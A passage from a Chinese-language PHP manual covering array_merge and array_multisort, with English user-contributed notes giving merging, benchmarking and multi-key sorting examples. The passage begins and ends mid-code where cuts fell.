    $_REQUEST = array_merge_replace($_REQUEST, $_POST);
    $_REQUEST = array_merge_replace($_REQUEST, $_COOKIE);
?>

Useful with stripping backslashes at beginning of main include file:
<?
if (get_magic_quotes_gpc() == 1) {

    function stripMagicSlashes($element) {
        if (is_array($element)) {
            return array_map("stripMagicSlashes", $element);
        } else {
            return stripslashes($element);
        }
    }

    function array_merge_replace($array, $newValues) {
        foreach ($newValues as $key => $value ) {
            if (is_array($value)) {
                if (!isset($array[$key])) {
                    $array[$key] = array();
                }
                $array[$key] = array_merge_replace($array[$key], $value);
            } else {
                $array[$key] = $value;
            }
        }
        return $array;
    }

    $_GET    = array_map("stripMagicSlashes", $_GET);
    $_POST   = array_map("stripMagicSlashes", $_POST);
    $_COOKIE = array_map("stripMagicSlashes", $_COOKIE);

    $_REQUEST = array_merge_replace($_REQUEST, $_GET);
    $_REQUEST = array_merge_replace($_REQUEST, $_POST);
    $_REQUEST = array_merge_replace($_REQUEST, $_COOKIE);

}

$GLOBALS['stripped'] = true;
?>

Based on examples from users from this site.


合并一个或多个数组

  • ? array_merge_recursive
  • array_multisort ?
  • PHP Manual
  • 数组 函数
  • 合并一个或多个数组

array_merge

(PHP 4, PHP 5, PHP 7, PHP 8)

array_merge — 合并一个或多个数组

说明

array_merge(array ...$arrays): array

将一个或多个数组的单元合并起来，一个数组中的值附加在前一个数组的后面。返回作为结果的数组。

如果输入的数组中有相同的字符串键名，则该键名后面的值将覆盖前一个值。然而，如果数组包含数字键名，后面的值将 不会 覆盖原来的值，而是附加到后面。

如果输入的数组存在以数字作为索引的内容，则这项内容的键名会以连续方式重新索引。

参数

arrays

要合并的数组。

返回值

返回合并后的结果数组。如果参数为空，则返回空 array。

更新日志

版本 | 说明
7.4.0 | 允许不带参数调用，之前版本至少需要一个参数。

示例

Example #1 array_merge() 示例

<?php
$array1 = array("color" => "red", 2, 4);
$array2 = array("a", "b", "color" => "green", "shape" => "trapezoid", 4);
$result = array_merge($array1, $array2);
print_r($result);
?>

以上示例会输出：

Array
(
    [color] => green
    [0] => 2
    [1] => 4
    [2] => a
    [3] => b
    [shape] => trapezoid
    [4] => 4
)

Example #2 单一结构的 array_merge() 示例

<?php
$array1 = array();
$array2 = array(1 => "data");
$result = array_merge($array1, $array2);
?>

别忘了数字键名将会被重新编号！

Array
(
    [0] => data
)

如果你想完全保留原有数组并只想新的数组附加到后面，可以使用 + 运算符：

<?php
$array1 = array(0 => 'zero_a', 2 => 'two_a', 3 => 'three_a');
$array2 = array(1 => 'one_b', 3 => 'three_b', 4 => 'four_b');
$result = $array1 + $array2;
var_dump($result);
?>

第一个数组的键名将会被保留。在两个数组中存在相同的键名时，第一个数组中的同键名的元素将会被保留，第二个数组中的元素将会被忽略。

array(5) {
  [0]=>
  string(6) "zero_a"
  [2]=>
  string(5) "two_a"
  [3]=>
  string(7) "three_a"
  [1]=>
  string(5) "one_b"
  [4]=>
  string(6) "four_b"
}

Example #3 array_merge() 合并非数组的类型

<?php
$beginning = 'foo';
$end = array(1 => 'bar');
$result = array_merge((array)$beginning, (array)$end);
print_r($result);
?>

以上示例会输出：

    Array
    (
        [0] => foo
        [1] => bar
    )

参见

  • array_merge_recursive() - 递归地合并一个或多个数组
  • array_replace() - 使用传递的数组替换第一个数组的元素
  • array_combine() - 创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值
  • 数组操作符

User Contributed Notes

gwyneth dot llewelyn at gwynethllewelyn dot net 13-Jul-2023 07:27
If you're trying to merge an array with something that evaluates to NULL, you'll get unpredictable results:

<?php
        $a = ['1', '2', '4'];
        $b = null;

        var_dump($a);
        var_dump($b);

        $c = array_merge($a, $b);  // this won't work
        echo "The merged array is:";
        var_dump($c);
?>

Depending on your error setting, you might not even get anything at all.

Under PHP 7.4:

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "4"
}
NULL
PHP Warning:  array_merge(): Expected parameter 2 to be an array, null given in /home/gwyneth/stupid-test.php on line 8
The merged array is: NULL

Under PHP 8.{0,1,2}:

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "4"
}
NULL
PHP Fatal error:  Uncaught TypeError: array_merge(): Argument #2 must be of type array, null given in /home/gwyneth/stupid-test.php:8
Stack trace:
#0 /home/gwyneth/stupid-test.php(8): array_merge()
#1 {main}
  thrown in /home/gwyneth/stupid-test.php on line 8

Depending on your display/debug settings, you might not even get anything.

The solution, of course, is to do a quick & dirty test before passing the 2nd argument:

<?php
        $a = ['1', '2', '4'];
        $b = null;

        var_dump($a);
        var_dump($b);

        $c = array_merge($a, $b ?? []);
        echo "The merged array is:";
        var_dump($c);
?>

Which gives the expected result (PHP 7.4 to PHP 8.2):

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "4"
}
NULL
The merged array is:array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "4"
}

While it's perfectly legitimate to merge empty arrays, null is *not* an empty array!
Hayley Watson 31-Mar-2023 06:18
Using the spread operator with array_merge allows merging any number of arrays together in one operation:

<?php
array_merge(...$array_of_arrays);
?>

Perhaps $array_of_arrays was built up in a loop, with $array_of_arrays[] = $another_array inside the loop. Collecting the arrays together this way and then merging them all at once is many times faster than repeatedly merging arrays two at a time (doing array_merge inside the loop).
php at k dot ull dot at 19-Oct-2022 09:30
Merge two arrays and retain only unique values.
Append values from second array.
Do not care about keys.

$array1 = [
    0 => 'apple',
    1 => 'orange',
    2 => 'pear',
];

$array2 = [
    0 => 'melon',
    1 => 'orange',
    2 => 'banana',
];

$result = array_keys(
    array_flip($array1) + array_flip($array2)
);

Result:
[
  [0] => "apple",
  [1] => "orange",
  [2] => "pear",
  [3] => "melon",
  [4] => "banana",
}
JoshE 15-Mar-2022 10:11
Not to contradict ChrisM's test, but I ran their code example and I got very different results for PHP 8.0.

Testing PHP 8.0.14
1.4955070018768 sec for spread
4.4120140075684 sec for array_merge
ChrisM 16-Dec-2021 09:04
I wished to point out that while other comments state that the spread operator should be faster than array_merge, I have actually found the opposite to be true for normal arrays. This is the case in both PHP 7.4 as well as PHP 8.0. The difference should be negligible for most applications, but I wanted to point this out for accuracy.

Below is the code used to test, along with the results:

<?php
$before = microtime(true);

for ($i=0 ; $i<10000000 ; $i++) {
    $array1 = ['apple','orange','banana'];
    $array2 = ['carrot','lettuce','broccoli'];

    $array1 = [...$array1,...$array2];
}

$after = microtime(true);
echo ($after-$before) . " sec for spread\n";

$before = microtime(true);

for ($i=0 ; $i<10000000 ; $i++) {
    $array1 = ['apple','orange','banana'];
    $array2 = ['carrot','lettuce','broccoli'];

    $array1 = array_merge($array1,$array2);
}

$after = microtime(true);
echo ($after-$before) . " sec for array_merge\n";
?>

PHP 7.4:
1.2135608196259 sec for spread
1.1402177810669 sec for array_merge

PHP 8.0:
1.1952061653137 sec for spread
1.099925994873 sec for array_merge
Andreas Hofmann 21-Nov-2021 02:59
In addition to the text and Julian Egelstaffs comment regarding to keep the keys preserved with the + operator:
When they say "input arrays with numeric keys will be renumbered" they MEAN it. If you think you are smart and put your numbered keys into strings, this won't help. Strings which contain an integer will also be renumbered! I fell into this trap while merging two arrays with book ISBNs as keys. So let's have this example:

<?php
    $test1['24'] = 'Mary';
    $test1['17'] = 'John';

    $test2['67'] = 'Phil';
    $test2['33'] = 'Brandon';

    $result1 = array_merge($test1, $test2);
    var_dump($result1);

    $result2 = [...$test1, ...$test2];    // mentioned by fsb
    var_dump($result2);
?>

You will get both:

array(4) {
  [0]=>
  string(4) "Mary"
  [1]=>
  string(4) "John"
  [2]=>
  string(4) "Phil"
  [3]=>
  string(7) "Brandon"
}

Use the + operator or array_replace, this will preserve - somewhat - the keys:

<?php
    $result1 = array_replace($test1, $test2);
    var_dump($result1);

    $result2 = $test1 + $test2;
    var_dump($result2);
?>

You will get both:

array(4) {
  [24]=>
  string(4) "Mary"
  [17]=>
  string(4) "John"
  [67]=>
  string(4) "Phil"
  [33]=>
  string(7) "Brandon"
}

The keys will keep the same, the order will keep the same, but with a little caveat: The keys will be converted to integers.
fsb at thefsb dot org 12-Mar-2020 11:36
We no longer need array_merge() as of PHP 7.4.

    [...$a, ...$b]

does the same as

    array_merge($a, $b)

and can be faster too.

https://wiki.php.net/rfc/spread_operator_for_array#advantages_over_array_merge
Julian Egelstaff 30-Jul-2009 11:48
In some situations, the union operator ( + ) might be more useful to you than array_merge.  The array_merge function does not preserve numeric key values.  If you need to preserve the numeric keys, then using + will do that.

ie:

<?php

$array1[0] = "zero";
$array1[1] = "one";

$array2[1] = "one";
$array2[2] = "two";
$array2[3] = "three";

$array3 = $array1 + $array2;

//This will result in::

$array3 = array(0=>"zero", 1=>"one", 2=>"two", 3=>"three");

?>

Note the implicit "array_unique" that gets applied as well.  In some situations where your numeric keys matter, this behaviour could be useful, and better than array_merge.

--Julian


对多个数组或多维数组进行排序

  • ? array_merge
  • array_pad ?
  • PHP Manual
  • 数组 函数
  • 对多个数组或多维数组进行排序

array_multisort

(PHP 4, PHP 5, PHP 7, PHP 8)

array_multisort — 对多个数组或多维数组进行排序

说明

array_multisort(
array &$array1,
mixed $array1_sort_order = SORT_ASC,
mixed $array1_sort_flags = SORT_REGULAR,
mixed ...$rest
): bool

array_multisort() 可以用来一次对多个数组进行排序，或者根据某一维或多维对多维数组进行排序。

关联（string）键名保持不变，但数字键名会被重新索引。

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

参数

Note:

重置数组中的内部指针，指向第一个元素。

array1

要排序的 array。

array1_sort_order

之前 array 参数要排列的顺序。 SORT_ASC 按照上升顺序排序， SORT_DESC 按照下降顺序排序。

此参数可以和 array1_sort_flags 互换，也可以完全删除，默认是 SORT_ASC 。

array1_sort_flags

为 array 参数设定选项：

排序类型标志：

  • SORT_REGULAR - 将项目按照通常方法比较（不修改类型）
  • SORT_NUMERIC - 按照数字大小比较
  • SORT_STRING - 按照字符串比较
  • SORT_LOCALE_STRING - 根据当前的本地化设置，按照字符串比较。 它会使用 locale 信息，可以通过 setlocale() 修改此信息。
  • SORT_NATURAL - 以字符串的"自然排序"，类似 natsort()
  • SORT_FLAG_CASE - 可以组合 (按位或 OR) SORT_STRING 或者 SORT_NATURAL 大小写不敏感的方式排序字符串。

参数可以和 array1_sort_order 交换或者省略，默认情况下是 SORT_REGULAR。

rest

可选的选项，可提供更多数组，跟随在 sort order 和 sort flag 之后。 提供的数组和之前的数组要有相同数量的元素。 换言之，排序是按字典顺序排列的。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 多个数组排序

<?php
$ar1 = array(10, 100, 100, 0);
$ar2 = array(1, 3, 2, 4);
array_multisort($ar1, $ar2);

var_dump($ar1);
var_dump($ar2);
?>

这个例子里，排序后，第一个数组会包含 0、 10、 100、 100。 第二个数组会包含 4、1、 2、 3。 第二个数组里的项目对应第一个数组后也进行了排序（100 和 100）。

array(4) {
  [0]=> int(0)
  [1]=> int(10)
  [2]=> int(100)
  [3]=> int(100)
}
array(4) {
  [0]=> int(4)
  [1]=> int(1)
  [2]=> int(2)
  [3]=> int(3)
}

Example #2 排序多维数组

<?php
$ar = array(
array("10", 11, 100, 100, "a"),
array( 1, 2, "2", 3, 1)
);
array_multisort($ar[0], SORT_ASC, SORT_STRING,
$ar[1], SORT_NUMERIC, SORT_DESC);
var_dump($ar);
?>

本例中在排序后，第一个数组将变成 "10"，100，100，11，"a"（被当作字符串以升序排列）。第二个数组将包含 1, 3, "2", 2, 1（被当作数字以降序排列）。

array(2) {
  [0]=> array(5) {
    [0]=> string(2) "10"
    [1]=> int(100)
    [2]=> int(100)
    [3]=> int(11)
    [4]=> string(1) "a"
  }
  [1]=> array(5) {
    [0]=> int(1)
    [1]=> int(3)
    [2]=> string(1) "2"
    [3]=> int(2)
    [4]=> int(1)
  }
}

Example #3 对数据库结果进行排序

本例中 data 数组中的每个单元表示一个表中的一行。这是典型的数据库记录的数据集合。

例子中的数据如下：

volume | edition
-------+--------
    67 |       2
    86 |       1
    85 |       6
    98 |       2
    86 |       6
    67 |       7

数据全都存放在名为 data 的数组中。这通常是通过循环从数据库取得的结果，例如 mysql_fetch_assoc()。

<?php
$data[] = array('volume' => 67, 'edition' => 2);
$data[] = array('volume' => 86, 'edition' => 1);
$data[] = array('volume' => 85, 'edition' => 6);
$data[] = array('volume' => 98, 'edition' => 2);
$data[] = array('volume' => 86, 'edition' => 6);
$data[] = array('volume' => 67, 'edition' => 7);
?>

本例中将把 volume 降序排列，把 edition 升序排列。

现在有了包含有行的数组，但是 array_multisort() 需要一个包含列的数组，因此用以下代码来取得列，然后排序。

<?php
// 取得列的列表
foreach ($data as $key => $row) {
$volume[$key] = $row['volume'];
$edition[$key] = $row['edition'];
}

// 你可以使用 array_column() 代替上面的代码
$volume = array_column($data, 'volume');
$edition = array_column($data, 'edition');

// 将数据根据 volume 降序排列，根据 edition 升序排列
// 把 $data 作为最后一个参数，以通用键排序
array_multisort($volume, SORT_DESC, $edition, SORT_ASC, $data);
?>

数据集合现在排好序了，结果如下：

volume | edition
-------+--------
    98 |       2
    86 |       1
    86 |       6
    85 |       6
    67 |       2
    67 |       7

Example #4 不区分大小写字母排序

SORT_STRING 和 SORT_REGULAR 都是区分大小写字母的，大写字母会排在小写字母之前。

要进行不区分大小写的排序，就要按照原数组的小写字母拷贝来排序。

<?php
$array = array('Alpha', 'atomic', 'Beta', 'bank');
$array_lowercase = array_map('strtolower', $array);

array_multisort($array_lowercase, SORT_ASC, SORT_STRING, $array);

print_r($array);
?>

以上示例会输出：

Array
(
    [0] => Alpha
    [1] => atomic
    [2] => bank
    [3] => Beta
)

参见

  • usort() - 使用用户自定义的比较函数对数组中的值进行排序
  • 数组排序函数对比

User Contributed Notes

Sbastien 11-Feb-2023 09:33
The shuttle operator can be a smart alternative to array_multisort() for multidimensional and/or custom sorting.

<?php

$data = [
    ['name' => 'John Smith', 'status' => 'Offline'],
    ['name' => 'Anne Onyme', 'status' => 'Online'],
    ['name' => 'Alan Smithee', 'status' => 'Online'],
];

// Online first, then alphabetic name order
usort($data, fn ($a, $b) => [
    ['Online' => 1, 'Offline' => 2][$a['status']],
    $a['name'],
] <=> [
    ['Online' => 1, 'Offline' => 2][$b['status']],
    $b['name'],
]);

print_r($data);

/*
Array
    [0] => Array
        [name] => Alan Smithee
        [status] => Online
    [1] => Array
        [name] => Anne Onyme
        [status] => Online
    [2] => Array
        [name] => John Smith
        [status] => Offline
*/
498936940 at qq dot com 09-Oct-2021 03:00
Arbitrarily sort the two-dimensional array according to multiple keys:

```
array_multisort (
    array_column($array, 'key1'), SORT_ASC,
    array_column($array, 'key2'), SORT_DESC,
    array_column($array, 'key3'), SORT_ASC,
    array_column($array, 'key4'), SORT_DESC,
    $array
);
```
lingtalfi 25-Mar-2021 02:44
For database like sorting, here is my 2 cents:

<?php
/**
 * The RowsSortHelperTool class.
 */
class RowsSortHelperTool
{

    /**
     * Sorts the given array, based on the given sorts.
     *
     * The sorts argument is an array of field => direction,
     *
     * with:
     *
     * - field: string, the name of the property to sort the rows with
     * - direction: string (asc|desc), the direction of the sort
     *
     *
     * @param array $rows
     * @param array $sorts
     * @return array
     */
    public static function sort(array &$rows, array $sorts)
    {

        $args = [];

        foreach ($sorts as $field => $direction) {
            $col = array_column($rows, $field);
            $args[] = $col;

            if ('asc' === $direction) {
                $args[] = SORT_ASC;
            } else {
                $args[] = SORT_DESC;
            }
        }
        $args[] = &$rows;
        call_user_func_array("array_multisort", $args);
    }
}

?>

Use it like this:

<?php
$data[] = array('volume' => 67, 'edition' => 2, 'mine' => 5);
$data[] = array('volume' => 86, 'edition' => 1, 'mine' => 5);
$data[] = array('volume' => 85, 'edition' => 6, 'mine' => 5);
$data[] = array('volume' => 98, 'edition' => 2, 'mine' => 5);
$data[] = array('volume' => 86, 'edition' => 6, 'mine' => 4);
$data[] = array('volume' => 86, 'edition' => 6, 'mine' => 5);
$data[] = array('volume' => 67, 'edition' => 7, 'mine' => 5);

RowsSortHelperTool::sort($data, [
    'volume' => 'desc',
    'edition' => 'asc',
    'mine' => 'desc',
]);

az($data);

?>

Will display something like this:

array(7) {
  [0] => array(3) {
    ["volume"] => int(98)
    ["edition"] => int(2)
    ["mine"] => int(5)
  }
  [1] => array(3) {
    ["volume"] => int(86)
    ["edition"] => int(1)
    ["mine"] => int(5)
  }
  [2] => array(3) {
    ["volume"] => int(86)
    ["edition"] => int(6)
    ["mine"] => int(5)
  }
  [3] => array(3) {
    ["volume"] => int(86)
    ["edition"] => int(6)
    ["mine"] => int(4)
  }
  [4] => array(3) {
    ["volume"] => int(85)
    ["edition"] => int(6)
    ["mine"] => int(5)
  }
  [5] => array(3) {
    ["volume"] => int(67)
    ["edition"] => int(2)
    ["mine"] => int(5)
  }
  [6] => array(3) {
    ["volume"] => int(67)
    ["edition"] => int(7)
    ["mine"] => int(5)
  }
}
dwalter at seznam dot cz 31-Oct-2019 08:45
My solution for multidimensional asociative array in my language, which respect all characters of alphabet
<?php
  setlocale(LC_COLLATE, 'cs_CZ.utf-8');
  $prijmeni_zamestnancu = array_column($DBzamestnanci, 'prijmeni');
  array_multisort($prijmeni_zamestnancu, SORT_ASC, SORT_LOCALE_STRING, $DBzamestnanci);
?>
qasastechnology at gmail dot com 13-Feb-2019 09:48
Case insensitive sorting
To perform a case insensitive sort

$array = [
     [
       'name' => 'b',
       'label' => 'ball'
    ],
     [
       'name' => 'a',
       'label' => 'apple'
    ],
     [
       'name' => 'l',
       'label' => 'Lighting'
    ],
     [
       'name' => 'w',
       'label' => 'With'
    ]

];

public function sortArray($array) {

        if (count($array)) {
            array_multisort(array_map(function($element) {
                return strtolower($element['label']);
            }, $array), SORT_ASC, $array);
        }

        return $array;
    }
Hayley Watson 09-Jul-2018 01:12
Thin wrapper around array_multisort() so that, when sorting an array of associative arrays, you can specify the columns to sort on by their name, instead of having to pull them out as explicit arrays. Note that you can sort on numerically-indexed columns too, provided you cast the index to a string first (otherwise they'll get confused with the SORT_* constants).

<?php
function array_multisort_by_column(&$array, ...$spec)
{
    return array_multisort($array, ...array_map(function($s)use($array)
    {
        return is_string($s) ? array_column($array, $s) : $s;
    }, $spec));
}
?>
ArkieGuy 10-Jan-2018 04:02
<?php

/**
 *  array_multisort wrapper function -- Sorts Data array on array of Keys
 *
 *  $data : This is the multidiminsional array to sort
 *  $keys : An array of arrays holding "Key" field names and optional Order / flags
 *
 *  Example:  $keys[2] = [ 'Animal', SORT_DESC, SORT_REGULAR | SORT_FLAG_CASE ];
 *            $keys[1] = [ 'Name' ];
 *
 *  Syntax:   if( multiSort( $data, $keys ) ) print_r( $data );
 *
 *  Returns TRUE on success or FALSE on failure.
 */
function multiSort( &$data, $keys ) {

  // Sort the Keys - this allows for passing in the key array out of order
  ksort( $keys );

  //  Walk Keys array building arguments to pass to call_user_function
  //  (must be indexed 0-n with n being the data to sort)
  foreach( $keys as $key ) {
    //  Walk through the list of key parameters
    foreach( $key as $element => $value )
        if( $element == 0 )
            //  Add an array containing the column values for the named $data column
            $args[] = array_column( $data, $value );
        else
            //  Add the inetger value passed in for the order / flags
            //  NOTE: if you try to send a string value (like from an INI) to
            //        array_multisort for sort_order or sort_flags, you get
            //        "Argument #x is expected to be an array or a sort flag".
            //        Casting to int solves this issue
            $args[] = (int)$value;
  }

  //  Add the array to be sorted to the arg list
  $args[] = &$data;

  //  Call array_multisort to sort the array in keys order
  return( call_user_func_array( 'array_multisort', $args ) );
}

/* Example */

echo "<PRE>";

//  Data array (can be associative array or you can use column number)
$data = [
  ['Name' => 'Brown', 'Animal' => 'Dog'],
  ['Name' => 'Smith', 'Animal' => 'Cat'],
  ['Name' => 'Jones', 'Animal' => 'Dog'],
  ['Name' => 'Jones', 'Animal' => 'Pig'],
  ['Name' => 'Bennett', 'Animal' => 'Cat'],
  ['Name' => 'Astor', 'Animal' => 'Cat'],
  ['Name' => 'Jones', 'Animal' => 'Cat'],
];

//  Array containing "keys" - each key is the name of the column and
//    optionally a sort order and / or  sort flags
//  Will sort by Name and then Animal because the keys array is key sorted
//    before it's used.
$keys[2] = [ 'Animal', SORT_DESC, SORT_REGULAR | SORT_FLAG_CASE ];
$keys[1] = [ 'Name' ];

//call the wrapper function
if( ! multiSort( $data, $keys ) )
    die( 'Sort Failed' );

print_r( $data );
?>
walterquez at gmail dot com 03-Jan-2018 06:11
To sort a simple multi dimensional array, use the array itself as the modifier. This will sort based on the first column. No need to write a custom function.

$data = array(
    array('volume' => 67, 'edition' => 2),
    array('volume' => 86, 'edition' => 1),
    array('volume' => 85, 'edition' => 6),
    array('volume' => 98, 'edition' => 2),
    array('volume' => 86, 'edition' => 6),
    array('volume' => 67, 'edition' => 7)
)

array_multisort($data, $data);
faugeron dot loic at gmail dot com 17-May-2016 07:14
Improving Example #3 (Sorting database results): using <?php array_column ?> (PHP >= 5.5) and <?php call_user_func_array ?> it becomes possible to build your sortings (sorting by one or many fields):

<?php

$data = [
    [
        'id' => '168ac7f8-c918-4e99-90ee-5d7590fe61ce',
        'name' => 'Arthur Dent',
    ],
    [
        'id' => 'e3ad45ee-7cae-4cca-bd7b-2eb6b57b6457',
        'name' => 'Ford Prefect',
    ],
    [
        'id' => 'a426aef2-19e2-412a-8339-5458cf6ae416',
        'name' => 'Trillian Astra',
    ],
];
$sortings = [
    [
        'field' => 'id',
        'direction' => SORT_DESC,
    ],
];

$args = [];
$key = 0;
foreach ($sortings as $sorting) {
    $args[$key] = array_column($data, $sorting['field']);
    $args[$key + 1] = $sorting['direction'];
    $key += 2;
}
$args[] = $data;
call_user_func_array('array_multisort', $args);

// $data is now sorted by ID in descending order.
?>
matt at bosc dot io 05-May-2016 09:02
One-liner function to sort multidimensionnal array by key, thank's to array_column

<?php

array_multisort (array_column($array, 'key'), SORT_DESC, $array);

?>
nospam at nospam dot com 23-Oct-2015 10:30
Super easy and simple way to sort a keyed multiarray while maintaining all associative keys, including numeric!

Preserves the original multiarray order if the sorting values are equal.

<?php
// sorts multiarray by a subarray value while preserving all keys, also preserves original order when the sorting values match
function maSort($ma = '', $sortkey = '', $sortorder = 1) { // sortorder: 1=asc, 2=desc
  if ($ma && is_array($ma) && $sortkey) { // confirm inputs
    foreach ($ma as $k=>$a) $temp["$a[$sortkey]"][$k] = $a; // temp ma with sort value, quotes convert key to string in case numeric float
    if ($sortorder == 2) { // descending
      krsort($temp);
    } else { // ascending
      ksort($temp);
    }
    $newma = array(); // blank output multiarray to add to
    foreach ($temp as $sma) $newma += $sma; // add sorted arrays to output array
    unset($ma, $sma, $temp); // release memory
    return $newma;
  }
}
?>
matt at wennersten dot org 29-Jul-2015 09:09
Many users have contributed nifty wrapper functions for generalizing array_multisort. However, some of us may just want a simple example that illustrates how to sort an arbitrary multi-dimensional array, such as a database result set, on a named field.

Consider an array of voice recordings (Clip objects) that are stored on a file system, and referenced via a database table:

    $fetchClipQuery = "SELECT * from voiceclips";
    if ( !$result = $this->db->query($fetchClipQuery) ) {
            $errormessage = $this->db->errno;
            $errormessage .= $this->db->error;
        } else {
            while($row = $result->fetch_assoc()){
                $clip = new Clip();
                $clip->populate($row['clipURL']);
                $clips[] = array("speaker"=>$row['speaker'],"duration"=>$row['duration'],"clip"=>$clip);
            }

//we now have an array called clips[] that looks like this:

array("speaker"=>"Obama","duration"=>"22:00","clip"=>...<some arbitrary object>...);

        //suppose we want to sort the array by speaker
        $sortkeyname = "speaker";
        //do the sort
        $sortkeyarray = array();
        foreach ($clips as $key => $row){
            $sortkeyarray[$key] = $row[$sortkeyname];
        }
        array_multisort($sortkeyarray, SORT_DESC, $clips);

           //suppose we want to sort the array by duration
        $sortkeyname = "duration";
        //do the sort
        $sortkeyarray = array();
        foreach ($clips as $key => $row){
            $sortkeyarray[$key] = $row[$sortkeyname];
        }
        array_multisort($sortkeyarray, SORT_DESC, $clips);

...etc.
jcharpentier at darkmira dot fr 23-Feb-2014 05:11
There is a lack of precision for the second example :

Example #2 Sorting multi-dimensional array

The explanation is :
"In this example, [...] The second will contain 1, 3, "2", 2, 1 (sorted as numbers, in descending order). "
This could be misunderstood cause a sort as numbers in descending order will be 1, 1, "2", 2, 3.

My proposal is as follows (in a best english should be great ^^) :
"In this example, [...] The second will contain 1, 3, "2", 2, 1 (sorted as well as first one, except for values 3 and "2" sorted as numbers, in descending order).  Because they are corresponding to the identical entries in the first array (100 and 100) which couldn't be sorted at first time."
Robert C 09-Jan-2014 12:11
Hi,

I would like to see the next code snippet to be added to http://nl3.php.net/array_multisort

Purpose: Sort a 2-dimensional array on some key(s)

Advantage of function:
- uses PHP's array_multisort function for sorting;
- it prepares the arrays (needed by array_multisort) for you;
- allows the sort criteria be passed as a separate array (It is possible to use sort order and flags.);
- easy to set/overwrite the way strings are sorted (case insensitive instead of case sensitive, which is PHP's default way of sorting);
- performs excellent

function MultiSort($data, $sortCriteria, $caseInSensitive = true)
{
  if( !is_array($data) || !is_array($sortCriteria))
    return false;
  $args = array();
  $i = 0;
  foreach($sortCriteria as $sortColumn => $sortAttributes)
  {
    $colList = array();
    foreach ($data as $key => $row)
    {
      $convertToLower = $caseInSensitive && (in_array(SORT_STRING, $sortAttributes) || in_array(SORT_REGULAR, $sortAttributes));
      $rowData = $convertToLower ? strtolower($row[$sortColumn]) : $row[$sortColumn];
      $colLists[$sortColumn][$key] = $rowData;
    }
    $args[] = &$colLists[$sortColumn];

    foreach($sortAttributes as $sortAttribute)
    {
      $tmp[$i] = $sortAttribute;
      $args[] = &$tmp[$i];
      $i++;
     }
  }
  $args[] = &$data;
  call_user_func_array('array_multisort', $args);
  return end($args);
}

Usage:

//Fill an array with random test data
define('MAX_ITEMS', 15);
define('MAX_VAL', 20);
for($i=0; $i < MAX_ITEMS; $i++)
  $data[] = array('field1' => rand(1, MAX_VAL), 'field2' => rand(1, MAX_VAL), 'field3' => rand(1, MAX_VAL) );

//Set the sort criteria (add as many fields as you want)
$sortCriteria =
  array('field1' => array(SORT_DESC, SORT_NUMERIC),
       'field3' => array(SORT_DESC, SORT_NUMERIC)
  );

//Call it like this:
$sortedData = MultiSort($data, $sortCriteria, true);
Patrick Adrichem 17-Oct-2013 08:08
If you do not have PHP 5.4 installed yet and you cannot use SORT_NATURAL. This function sorts arrays natural multi-dimensional based on key value

this function can be used for arrays as

array ( name => array( key => value ) )
and

array( name => value ).

arrays as array( name => array( key => value), name => value) are not supported.

<?php
        static function natcasesortRecursive(&$aArray)
        {
            $bHasArrays = false;
            foreach ($aArray as $sKey => &$mValue)
            {
                if (true === is_array($mValue))
                {
                    self::natcasesortRecursive($mValue);
                    $bHasArrays = true;
                }
            }
            if (true === $bHasArrays)
            {
                uksort($aArray, 'strnatcasecmp');
            }
            else
            {
                natcasesort($aArray);
            }
        }
?>
Magento-User 11-Oct-2013 03:25
When sorting an array of (complex) objects, this function can give you a "Fatal error:  Nesting level too deep" since it directly compares elements in later arrays if the elements in earlier ones compare equal. This can be worked around with the Flag-Parameter:
<?php
$sortKeys = array_map($extractKey, $lotsOfComplexObjects);
array_multisort($sortKeys, $lotsOfComplexObjects, SORT_ASC, SORT_NUMERIC);
?>
I'm replacing an 'uasort()'-call which is significantly slower since it leads to a lot of calls to the comparison-function but most of the objects involved are recursive.

If this 'trick' gives a wrong order,  you need a better key.
plugboard at web dot de 04-Sep-2012 02:56
multisort an Array of Objects:

example object [$object with array of objects]: (class: test)
----------------------------------

test Object (
  [Artikel] => Array (
      [0] => test Object (
            [id] => 1
            [title] => CCCC
         )
      [1] => test Object (
            [id] => 2
            [title] => AAAA
         )
      [2] => test Object (
            [id] => 3
            [title] => DDDD
         )
      [3] => test Object (
            [id] => 4
            [title] => BBBB
         )
   )
)

----------------------------------

Simple PHP function: sort_arr_of_obj()

<?php
// --------------------------------------

/*
* -------- function arguments --------
*   $array ........ array of objects
*   $sortby ....... the object-key to sort by
*   $direction ... 'asc' = ascending
* --------
*/

function sort_arr_of_obj($array, $sortby, $direction='asc') {

    $sortedArr = array();
    $tmp_Array = array();

    foreach($array as $k => $v) {
        $tmp_Array[] = strtolower($v->$sortby);
    }

    if($direction=='asc'){
        asort($tmp_Array);
    }else{
        arsort($tmp_Array);
    }

    foreach($tmp_Array as $k=>$tmp){
        $sortedArr[] = $array[$k];
    }

    return $sortedArr;

}

// --------------------------------------
?>

example call:
----------------------------------

<?php

$sorted->Artikel = sort_arr_of_obj($object->Artikel,'title','asc');

?>

example result: $sorted (class: test)
----------------------------------

test Object (
  [Artikel] => Array (
      [0] => test Object (
            [id] => 2
            [title] => AAAA
         )
      [1] => test Object (
            [id] => 4
            [title] => BBBB
         )
      [2] => test Object (
            [id] => 1
            [title] => CCCC
         )
      [3] => test Object (
            [id] => 3
            [title] => DDDD
         )

   )
)

-------------------------

:)
rnacken at gmail dot com 11-Feb-2012 11:59
When I was working on a search engine, that had to order the results in PHP by multiple arguments, I got stuck on the issue of multisort erasing your (numeral) indexes for a while. Sometimes, it is important to keep these indexes intact. In my case, the indexes were IDs and the values were a percentage of how relevant the object was, considering an earlier query.
e.g: $searchResult = (23 => 0.3,
                    102 => 0.5,
                    11 => 0.5,
                    340 => 0.5,
                    10 => 0.9);

I wanted to use array_multisort to first sort DESC on the IDs, and then on the values DESC. i.e. I wanted to show the highest values first, but in case of two (or more) objects with the same value, the higher ID would be shown first.
e.g: $searchResult = (10 => 0.9,
                   340 => 0.5,
                   102 => 0.5,
                   11 => 0.5,
                   23 => 0.3);

The easiest way to do this, I think, is:
<?php
    // create a 2-deep array with the values and keys of $searchResult
    $array = array(
               $searchResult,
